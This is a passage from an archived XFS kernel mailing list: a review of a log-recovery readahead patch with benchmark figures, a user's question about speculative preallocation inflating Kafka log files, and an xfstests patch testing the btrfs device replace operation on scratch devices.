XLOG_RECOVER_PASS1: >> error = xlog_recover_commit_pass1(log, trans, item); >> break; >> case XLOG_RECOVER_PASS2: >> + if (&temp_item->ri_list != &trans->r_itemq) >> + next_item = temp_item; >> + else >> + next_item = NULL; >> error = xlog_recover_commit_pass2(log, trans, >> - &buffer_list, item); >> + &buffer_list, item, next_item); > > Ok, so you've based the readahead on the transaction item list > having a next pointer. What I think you should do is turn this into > a readahead queue by moving objects to a new list. i.e. > > list_for_each_entry_safe(item, next, &trans->r_itemq, ri_list) { > > case XLOG_RECOVER_PASS2: > if (ra_qdepth++ >= MAX_QDEPTH) { > recover_items(log, trans, &buffer_list, &ra_item_list); > ra_qdepth = 0; > } else { > xlog_recover_item_readahead(log, item); > list_move_tail(&item->ri_list, &ra_item_list); > } > break; > ... > } > } > if (!list_empty(&ra_item_list)) > recover_items(log, trans, &buffer_list, &ra_item_list); > > I'd suggest that a queue depth somewhere between 10 and 100 will > be necessary to keep enough IO in flight to keep the pipeline full > and prevent recovery from having to wait on IO... Good suggestion, will apply it to next version, thanks. > > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com -- Regards, Zhi Yong Wu From jbr@squareup.com Fri Jul 26 02:23:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9DD0D7F51 for ; Fri, 26 Jul 2013 02:23:45 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 63F183040A4 for ; Fri, 26 Jul 2013 00:23:42 -0700 (PDT) X-ASG-Debug-ID: 1374823420-04bdf02f20af860001-NocioJ Received: from sam.nabble.com (sam.nabble.com [216.139.236.26]) by cuda.sgi.com with ESMTP id mZJmeC92uHhAtHn5 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 26 Jul 2013 00:23:41 -0700 (PDT) X-Barracuda-Envelope-From: jbr@squareup.com X-Barracuda-Apparent-Source-IP: 216.139.236.26 Received: from tom.nabble.com ([192.168.236.105]) by sam.nabble.com with esmtp (Exim 4.72) (envelope-from ) id 1V2cNI-0006Vw-Hw for xfs@oss.sgi.com; Fri, 26 Jul 2013 00:23:40 -0700 Date: Fri, 26 Jul 2013 00:23:40 -0700 (PDT) From: jbr To: xfs@oss.sgi.com Message-ID: <1374823420041-35002.post@n7.nabble.com> Subject: understanding speculative preallocation MIME-Version: 1.0 X-ASG-Orig-Subj: understanding speculative preallocation Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sam.nabble.com[216.139.236.26] X-Barracuda-Start-Time: 1374823420 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137319 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hello, I'm looking for general documentation/help with the speculative preallocation feature in xfs. So far, I haven't really been able to find any definitive, up to date documentation on it. I'm wondering how I can find out definitively which version of xfs I am using, and what the preallocation scheme in use is. We are running apache kafka on our servers, and kafka uses sequential io to write data log files. Kafka uses, by default, a maximum log file size of 1Gb. However, most of the log files end up being 2Gb, and thus the disk fills up twice as fast as it should. We are using xfs on CentOS 2.6.32-358. Is there a way I can know which version of xfs is built into this version of the kernel? What preallocation schedule does it use? If I do a xfs_info -V, it reports 3.1.1. We are using xfs (mounted with no allocsize specified). I've seen varying info suggesting this means it either defaults to an allocsize of 64K (which doesn't seem to match my observations), or that it will use dynamic preallocation. I've also seen hints (but no actual canonical documentation) suggesting that the dynamic preallocation works by progressively doubling the current file size (which does match my observations). What I'm not clear on, is the scheduling for the preallocation. At what point does it decide to preallocate the next doubling of space. Is it when the current preallocated space is used up, or does it happen when the current space is used up within some threshold. What I'd like to do, is keep the doubling behavior in tact, but have it capped so it never increases the file beyond 1Gb. Is there a way to do that? Can I trick the preallocation to not do a final doubling, if I cap my kafka log files at say, 900Mb (or some percentage under 1Gb)? There are numerous references to an allocation schedule like this: freespace max prealloc size >5% full extent (8GB) 4-5% 2GB (8GB >> 2) 3-4% 1GB (8GB >> 3) 2-3% 512MB (8GB >> 4) 1-2% 256MB (8GB >> 5) <1% 128MB (8GB >> 6) I'm just not sure I understand what this is telling me. It seems to tell me what the max prealloc size is, with being reduced if the disk is nearly full. But it doesn't tell me about the progressive doubling in preallocation (I assume up to a max of 8Gb). Is any of this configurable? Can we specify a max prealloc size somewhere? The other issue seems to be that after the files are closed (from within the java jvm), they still don't seem to have their pre-allocated space reclaimed. Are there known issues with closing the files in java not properly causing a flush of the preallocated space? Any help pointing me to any documentation/user guides which accurately describes this would be appreciated! Thanks, Jason -- View this message in context: http://xfs.9218.n7.nabble.com/understanding-speculative-preallocation-tp35002.html Sent from the Xfs - General mailing list archive at Nabble.com. From jbr@squareup.com Fri Jul 26 02:35:18 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 820CA7F53 for ; Fri, 26 Jul 2013 02:35:18 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0438CAC003 for ; Fri, 26 Jul 2013 00:35:14 -0700 (PDT) X-ASG-Debug-ID: 1374824112-04cb6c2e9da7110001-w1Z2WR Received: from sam.nabble.com (sam.nabble.com [216.139.236.26]) by cuda.sgi.com with ESMTP id UYQ01bENfguPQWEr (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 26 Jul 2013 00:35:13 -0700 (PDT) X-Barracuda-Envelope-From: jbr@squareup.com X-Barracuda-Apparent-Source-IP: 216.139.236.26 Received: from tom.nabble.com ([192.168.236.105]) by sam.nabble.com with esmtp (Exim 4.72) (envelope-from ) id 1V2cYS-00079t-J9 for linux-xfs@oss.sgi.com; Fri, 26 Jul 2013 00:35:12 -0700 Date: Fri, 26 Jul 2013 00:35:12 -0700 (PDT) From: jbr To: linux-xfs@oss.sgi.com Message-ID: <1374824112499-35003.post@n7.nabble.com> Subject: understanding speculative preallocation MIME-Version: 1.0 X-ASG-Orig-Subj: understanding speculative preallocation Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sam.nabble.com[216.139.236.26] X-Barracuda-Start-Time: 1374824113 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137319 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hello, I'm looking for general documentation/help with the speculative preallocation feature in xfs. So far, I haven't really been able to find any definitive, up to date documentation on it. I'm wondering how I can find out definitively which version of xfs I am using, and what the preallocation scheme in use is. We are running apache kafka on our servers, and kafka uses sequential io to write data log files. Kafka uses, by default, a maximum log file size of 1Gb. However, most of the log files end up being 2Gb, and thus the disk fills up twice as fast as it should. We are using xfs on CentOS 2.6.32-358. Is there a way I can know which version of xfs is built into this version of the kernel? What preallocation schedule does it use? If I do a xfs_info -V, it reports 3.1.1. We are using xfs (mounted with no allocsize specified). I've seen varying info suggesting this means it either defaults to an allocsize of 64K (which doesn't seem to match my observations), or that it will use dynamic preallocation. I've also seen hints (but no actual canonical documentation) suggesting that the dynamic preallocation works by progressively doubling the current file size (which does match my observations). What I'm not clear on, is the scheduling for the preallocation. At what point does it decide to preallocate the next doubling of space. Is it when the current preallocated space is used up, or does it happen when the current space is used up within some threshold. What I'd like to do, is keep the doubling behavior in tact, but have it capped so it never increases the file beyond 1Gb. Is there a way to do that? Can I trick the preallocation to not do a final doubling, if I cap my kafka log files at say, 900Mb (or some percentage under 1Gb)? There are numerous references to an allocation schedule like this: freespace max prealloc size >5% full extent (8GB) 4-5% 2GB (8GB >> 2) 3-4% 1GB (8GB >> 3) 2-3% 512MB (8GB >> 4) 1-2% 256MB (8GB >> 5) <1% 128MB (8GB >> 6) I'm just not sure I understand what this is telling me. It seems to tell me what the max prealloc size is, with being reduced if the disk is nearly full. But it doesn't tell me about the progressive doubling in preallocation (I assume up to a max of 8Gb). Is any of this configurable? Can we specify a max prealloc size somewhere? The other issue seems to be that after the files are closed (from within the java jvm), they still don't seem to have their pre-allocated space reclaimed. Are there known issues with closing the files in java not properly causing a flush of the preallocated space? Any help pointing me to any documentation/user guides which accurately describes this would be appreciated! Thanks, Jason -- View this message in context: http://xfs.9218.n7.nabble.com/understanding-speculative-preallocation-tp35003.html Sent from the linux-xfs mailing list archive at Nabble.com. From sbehrens@giantdisaster.de Fri Jul 26 04:28:18 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 865B77F53 for ; Fri, 26 Jul 2013 04:28:18 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2EE36AC001 for ; Fri, 26 Jul 2013 02:28:14 -0700 (PDT) X-ASG-Debug-ID: 1374830891-04bdf02f22b7ae0001-NocioJ Received: from xp-ob.rzone.de (xp-ob.rzone.de [81.169.146.137]) by cuda.sgi.com with ESMTP id CsVondHXfszAVeSC (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 26 Jul 2013 02:28:12 -0700 (PDT) X-Barracuda-Envelope-From: sbehrens@giantdisaster.de X-Barracuda-Apparent-Source-IP: 81.169.146.137 X-RZG-CLASS-ID: xp Received: from pizpot.store ([192.168.43.236]) by jorabe.store (jorabe xp2) (RZmta 31.30 OK) with ESMTP id g05df1p6PFtQ00 ; Fri, 26 Jul 2013 11:28:05 +0200 (CEST) From: Stefan Behrens To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org Subject: [PATCH] xfstest: add a test for btrfs device replace operation Date: Fri, 26 Jul 2013 11:28:05 +0200 X-ASG-Orig-Subj: [PATCH] xfstest: add a test for btrfs device replace operation Message-Id: <1374830885-26966-1-git-send-email-sbehrens@giantdisaster.de> X-Mailer: git-send-email 1.8.3.3 X-Barracuda-Connect: xp-ob.rzone.de[81.169.146.137] X-Barracuda-Start-Time: 1374830892 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137321 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Unfortunately this test takes 6 minutes on my SSD equiped test box since it runs all possible single/dup/raid0/raid1/raid10/mixed profiles, one round with the '-f' option to 'btrfs replace start' and one round without this option. The cancelation is tested only once and with the dup/single profile for metadata/data. Almost all the time is spent when the filesystem is populated with test data. The replace operation itself takes one second for all the tests, and 20 seconds for the test that is marked as 'thorough' (this one spends more than a minute to populate the filesystem with data). The amount of tests done depends on the number of devices in the SCRATCH_DEV_POOL. For full test coverage, at least 5 devices should be available (e.g. 5 partitions). For the first round, the last device in the SCRATCH_DEV_POOL string is taken as the target device for the replace operation, the first device is the source device. For the second round it is the other way round. Therefore make sure that both devices have _exactly_ the same size, otherwise the tests fail! The target device for a replace operation always needs to be larger or of equal size than the source device. If SCRATCH_DEV_POOL is set to "A B C D E" for example, the first round creates a filesystem on "A B C D" and replaces A with E in the first round, and E again with A in the second round. E and A need to have the same size for the tests to succeed. To check the filesystems after replacing a device, a scrub run is performed, a btrfsck run, and finally the filesystem is remounted. This commit depends on my other commit: "xfstest: don't remove the two first devices from SCRATCH_DEV_POOL" Signed-off-by: Stefan Behrens --- tests/btrfs/317 | 209 ++++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/317.out | 3 + tests/btrfs/group | 1 + 3 files changed, 213 insertions(+) diff --git a/tests/btrfs/317 b/tests/btrfs/317 new file mode 100755 index 0000000..b4f0d8c --- /dev/null +++ b/tests/btrfs/317 @@ -0,0 +1,209 @@ +#! /bin/bash +# FSQA Test No. 317 +# +# Test of the btrfs replace operation. +# +# The amount of tests done depends on the number of devices in the +# SCRATCH_DEV_POOL. For full test coverage, at least 5 devices should +# be available (e.g. 5 partitions). +# +# For the first round, the last device in the SCRATCH_DEV_POOL string +# is taken as the target device for the replace operation, the first +# device is the source device. For the second round it is the other way +# round. +# +# THEREFORE MAKE SURE THAT BOTH DEVICES HAVE _EXACTLY_ THE SAME +# SIZE, OTHERWISE THE TESTS FAIL! +# +# The target device for a replace operation always needs to be larger +# or of equal size than the source device. +# +# If SCRATCH_DEV_POOL is set to "A B C D E" for example, the first +# round creates a filesystem on "A B C D" and replaces A with E in the +# first round, and E again with A in the second round. E and A need to +# have the same size for the tests to succeed. +# +# To check the filesystems after replacing a device, a scrub run is +# performed, a btrfsck run, and finally the filesystem is remounted. +# +#----------------------------------------------------------------------- +# Copyright (C) 2013 STRATO. All rights reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 +noise_pid=0 + +_cleanup() +{ + if [ $noise_pid -ne 0 ] && ps -p $noise_pid | grep -q $noise_pid; then + kill -TERM $noise_pid + fi + wait + rm -f $tmp.tmp +} +trap "_cleanup; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_need_to_be_root +_supported_fs btrfs +_require_scratch +_require_scratch_dev_pool + +rm -f $seqres.full +rm -f $tmp.tmp + +echo "*** test btrfs replace" + +workout() +{ + mkfs_options=$1 + num_devs4raid=$2 + with_cancel=$3 + quick=$4 + local first_dev=`echo ${SCRATCH_DEV_POOL} | awk '{print $1}'` + local last_dev=`echo ${SCRATCH_DEV_POOL} | awk '{print $NF}'` + local without_1stnlast_dev=`echo $SCRATCH_DEV_POOL | \ + awk '{ORS=" "; for (i = 2; i < NF; i++) print $i}'` + + if [ "`echo $SCRATCH_DEV_POOL | wc -w`" -lt `expr $num_devs4raid + 1` ]; then + echo "skip workout $1 $2 $3 $4" >> $seqres.full + echo "Too less devices in SCRATCH_DEV_POOL $SCRATCH_DEV_POOL" >> $seqres.full + return 0 + fi + + # dup works only on a single disk + if echo $mkfs_options | grep -q dup; then + without_1stnlast_dev="" + fi + + # _scratch_mkfs adds the 1st device again (which is $SCRATCH_DEV) + _scratch_mkfs $mkfs_options $without_1stnlast_dev >> $seqres.full 2>&1 || _fail "mkfs failed" + _scratch_mount + + _populate_fs -r $SCRATCH_MNT/zero -s 130 -f 1000 -d 0 -n 0 + _populate_fs -r $SCRATCH_MNT/urandom -x -s 1300 -f 10 -d 0 -n 0 + if [ "${quick}Q" = "quickQ" ]; then + dd if=/dev/urandom of=$SCRATCH_MNT/r bs=1M count=10 >> $seqres.full 2>&1 & + dd if=/dev/zero of=$SCRATCH_MNT/0 bs=1M count=250 >> $seqres.full 2>&1 + wait + else + dd if=/dev/urandom of=$SCRATCH_MNT/r bs=1M count=100 >> $seqres.full 2>&1 & + dd if=/dev/zero of=$SCRATCH_MNT/0 bs=1M count=2500 >> $seqres.full 2>&1 + wait + fi + echo 3 > /proc/sys/vm/drop_caches; echo 3 > /proc/sys/vm/drop_caches + sync + + # generate some (slow) background traffic in parallel to the + # replace operation. It is not a problem if cat fails early + # with ENOSPC. + cat /dev/urandom > $SCRATCH_MNT/noise 2> $seqres.full 2>&1 & + noise_pid=$! + + if [ "${with_cancel}Q" = "cancelQ" ]; then + $BTRFS_UTIL_PROG replace start -f $first_dev $last_dev $SCRATCH_MNT >> $seqres.full 2>&1 || _fail "btrfs replace start failed" + sleep 1 + $BTRFS_UTIL_PROG replace cancel $SCRATCH_MNT >> $seqres.full 2>&1 || _fail "btrfs replace cancel failed" + + $BTRFS_UTIL_PROG replace status $SCRATCH_MNT > $tmp.tmp 2>&1 + cat $tmp.tmp >> $seqres.full + egrep -q "canceled|finished" $tmp.tmp || _fail "btrfs replace status failed" + else + $BTRFS_UTIL_PROG replace start -Bf $first_dev $last_dev $SCRATCH_MNT >> $seqres.full 2>&1 || _fail "btrfs replace start failed" + + $BTRFS_UTIL_PROG replace status $SCRATCH_MNT > $tmp.tmp 2>&1 + cat $tmp.tmp >> $seqres.full + grep -q finished $tmp.tmp || _fail "btrfs replace status failed" + fi + + $BTRFS_UTIL_PROG scrub start -B $SCRATCH_MNT > $tmp.tmp 2>&1 + cat $tmp.tmp >> $seqres.full + grep -q finished $tmp.tmp || _fail "btrfs scrub failed" + grep -q "with 0 errors" $tmp.tmp || _fail "btrfs scrub failed" + + if ps -p $noise_pid | grep -q $noise_pid; then + kill -TERM $noise_pid 2> /dev/null + fi + noise_pid=0 + wait + umount $SCRATCH_MNT + if [ "${with_cancel}Q" = "cancelQ" ]; then + _check_btrfs_filesystem $first_dev + return 0 + else + _check_btrfs_filesystem $last_dev + fi + + # now one more time without the -f option. Instead of wasting + # time to populate the filesystem with data again, use the + # existing filesystem in the state as it is after the previous + # replace operation. + umount $SCRATCH_MNT > /dev/null 2>&1 + _mount -t $FSTYP `_scratch_mount_options | sed "s&${SCRATCH_DEV}&${last_dev}&"` + if [ $? -ne 0 ]; then + echo "mount failed" + exit 1 + fi + + cat /dev/urandom > $SCRATCH_MNT/noise2 2> $seqres.full 2>&1 & + noise_pid=$! + + $BTRFS_UTIL_PROG replace start -B $last_dev $first_dev $SCRATCH_MNT >> $seqres.full 2>&1 || _fail "btrfs replace start failed" + + $BTRFS_UTIL_PROG replace status $SCRATCH_MNT > $tmp.tmp 2>&1 + cat $tmp.tmp >> $seqres.full + grep -q finished $tmp.tmp || _fail "btrfs replace status failed" + + $BTRFS_UTIL_PROG scrub start -B $SCRATCH_MNT > $tmp.tmp 2>&1 + cat $tmp.tmp >> $seqres.full + grep -q finished $tmp.tmp || _fail "btrfs scrub failed" + grep -q "with 0 errors" $tmp.tmp || _fail "btrfs scrub failed" + + if ps -p $noise_pid | grep -q $noise_pid; then + kill -TERM $noise_pid 2> /dev/null + fi + noise_pid=0 + wait + umount $SCRATCH_MNT + _check_btrfs_filesystem $first_dev +} + +workout "-m single -d single" 1 no quick +workout "-m single -d single -M" 1 no quick +workout "-m dup -d single" 1 no quick +workout "-m dup -d single" 1 cancel quick +workout "-m dup -d dup -M" 1 no quick +workout "-m raid0 -d raid0" 2 no quick +workout "-m raid1 -d raid1" 2 no thorough +#workout "-m raid5 -d raid5" 2 no quick +#workout "-m raid6 -d raid6" 3 no quick +workout "-m raid10 -d raid10" 4 no quick + +echo "*** done" +status=0 +exit diff --git a/tests/btrfs/317.out b/tests/btrfs/317.out new file mode 100644 index 0000000..4bda623 --- /dev/null +++ b/tests/btrfs/317.out @@ -0,0 +1,3 @@ +QA output created by 317 +*** test btrfs replace +*** done diff --git a/tests/btrfs/group b/tests/btrfs/group index bc6c256..1b64321 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -9,3 +9,4 @@ 276 auto rw metadata 284 auto 307 auto quick +317 auto -- 1.8.3.3 From david@fromorbit.com Fri Jul 26 06:35:35 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A17807F4E for ; Fri, 26 Jul 2013 06:35:35 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 75B418F8037 for ; Fri, 26 Jul 2013 04:35:32 -0700 (PDT) X-ASG-Debug-ID: 1374838527-04bdf02f20c0b00001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id pwJkbRkrD7bAAKyo for ; Fri, 26 Jul 2013 04:35:27 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlkIAMxd8lF5LPxH/2dsb2JhbABagwa5F4UygRUXdIIkAQEEAScTHCMQCAMVAwklDwUNGAMhE4d+AwkFsCANiF4WjH+CaAeEBQOVdoFojCeFJoMmKg Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail07.adl2.internode.on.net with ESMTP; 26 Jul 2013 21:05:25 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V2gIs-00071C-18; Fri, 26 Jul 2013 21:35:22 +1000 Date: Fri, 26 Jul 2013 21:35:22 +1000 From: Dave Chinner To: Zhi Yong Wu Cc: xfstests , "linux-fsdevel@vger.kernel.org" , linux-kernel mlist , Zhi Yong Wu Subject: Re: [PATCH] xfs: introduce object readahead to log recovery Message-ID: <20130726113521.GM13468@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: introduce object readahead to log recovery References: <1374740619-29797-1-git-send-email-zwu.kernel@gmail.com> <20130726025009.GE21982@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1374838527 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137323 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Jul 26, 2013 at 02:36:15PM +0800, Zhi Yong Wu wrote: > Dave, > > All comments are good to me, and will be applied to next version, thanks a lot. > > On Fri, Jul 26, 2013 at 10:50 AM, Dave Chinner wrote: > > On Thu, Jul 25, 2013 at 04:23:39PM +0800, zwu.kernel@gmail.com wrote: > >> From: Zhi Yong Wu > >> > >> It can take a long time to run log recovery operation because it is > >> single threaded and is bound by read latency. We can find that it took > >> most of the time to wait for the read IO to occur, so if one object > >> readahead is introduced to log recovery, it will obviously reduce the > >> log recovery time. > >> > >> In dirty log case as below: > >> data device: 0xfd10 > >> log device: 0xfd10 daddr: 20480032 length: 20480 > >> > >> log tail: 7941 head: 11077 state: > > > > That's only a small log (10MB). As I've said on irc, readahead won't > Yeah, it is one 10MB log, but how do you calculate it based on the above info? length = 20480 blocks. 20480 * 512 = 10MB.... > > And the recovery time from this is between 15-17s: > > > > .... > > log device: 0xfd20 daddr: 107374182032 length: 4173824 > > ^^^^^^^ almost 2GB > > log tail: 19288 head: 264809 state: > > .... > > real 0m17.913s > > user 0m0.000s > > sys 0m2.381s > > > > And runs at 3-4000 read IOPs for most of that time. It's largely IO > > bound, even on SSDs. > > > > With your patch: > > > > log tail: 35871 head: 308393 state: > > real 0m12.715s > > user 0m0.000s > > sys 0m2.247s > > > > And it peaked at ~5000 read IOPS. > How do you know its READ IOPS is ~5000? Other monitoring. iostat can tell you this, though I use PCP... > > Ok, so you've based the readahead on the transaction item list > > having a next pointer. What I think you should do is turn this into > > a readahead queue by moving objects to a new list. i.e. > > > > list_for_each_entry_safe(item, next, &trans->r_itemq, ri_list) { > > > > case XLOG_RECOVER_PASS2: > > if (ra_qdepth++ >= MAX_QDEPTH) { > > recover_items(log, trans, &buffer_list, &ra_item_list); > > ra_qdepth = 0; > > } else { > > xlog_recover_item_readahead(log, item); > > list_move_tail(&item->ri_list, &ra_item_list); > > } > > break; > > ... > > } > > } > > if (!list_empty(&ra_item_list)) > > recover_items(log, trans, &buffer_list, &ra_item_list); > > > > I'd suggest that a queue depth somewhere between 10 and 100 will > > be necessary to keep enough IO in flight to keep the pipeline full > > and prevent recovery from having to wait on IO... > Good suggestion, will apply it to next version, thanks. FWIW, I hacked a quick test of this into your patch here and a depth of 100 brought the reocvery time down to under 8s. For other workloads which have nothing but dirty inodes (like fsmark) a depth of 100 drops the recovery time from ~100s to ~25s, and the iop rate is peaking at well over 15,000 IOPS. So we definitely want to queue up more than a single readahead... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Fri Jul 26 06:37:26 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A1F687F4E for ; Fri, 26 Jul 2013 06:37:26 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 791658F8033 for ; Fri, 26 Jul 2013 04:37:26 -0700 (PDT) X-ASG-Debug-ID: 1374838644-04cbb02c3bb7c10001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id n3aEDoeGLAI5dNIt for ; Fri, 26 Jul 2013 04:37:25 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlgIAMFe8lF5LPxH/2dsb2JhbABagwa5F4UygRUXdIIkAQEFJxMcIxAIAxgJJQ8FJQMhE4gPuQsWj2cHhAUDl16RTYMmKg Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail07.adl2.internode.on.net with ESMTP; 26 Jul 2013 21:07:21 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V2gKj-00071k-NS; Fri, 26 Jul 2013 21:37:17 +1000 Date: Fri, 26 Jul 2013 21:37:17 +1000 From: Dave Chinner To: Zhi Yong Wu Cc: xfstests , "linux-fsdevel@vger.kernel.org" , linux-kernel mlist , Zhi Yong Wu Subject: Re: [PATCH] xfs: fix an assertion failure Message-ID: <20130726113717.GN13468@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: fix an assertion failure References: <1374759524-10061-1-git-send-email-zwu.kernel@gmail.com> <20130726020318.GD21982@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1374838644 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137323 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Jul 26, 2013 at 02:01:23PM +0800, Zhi Yong Wu wrote: > No, it still raised the same assertion as below: > > [ 521.715103] XFS: Assertion failed: !(bip->bli_item.li_flags & > 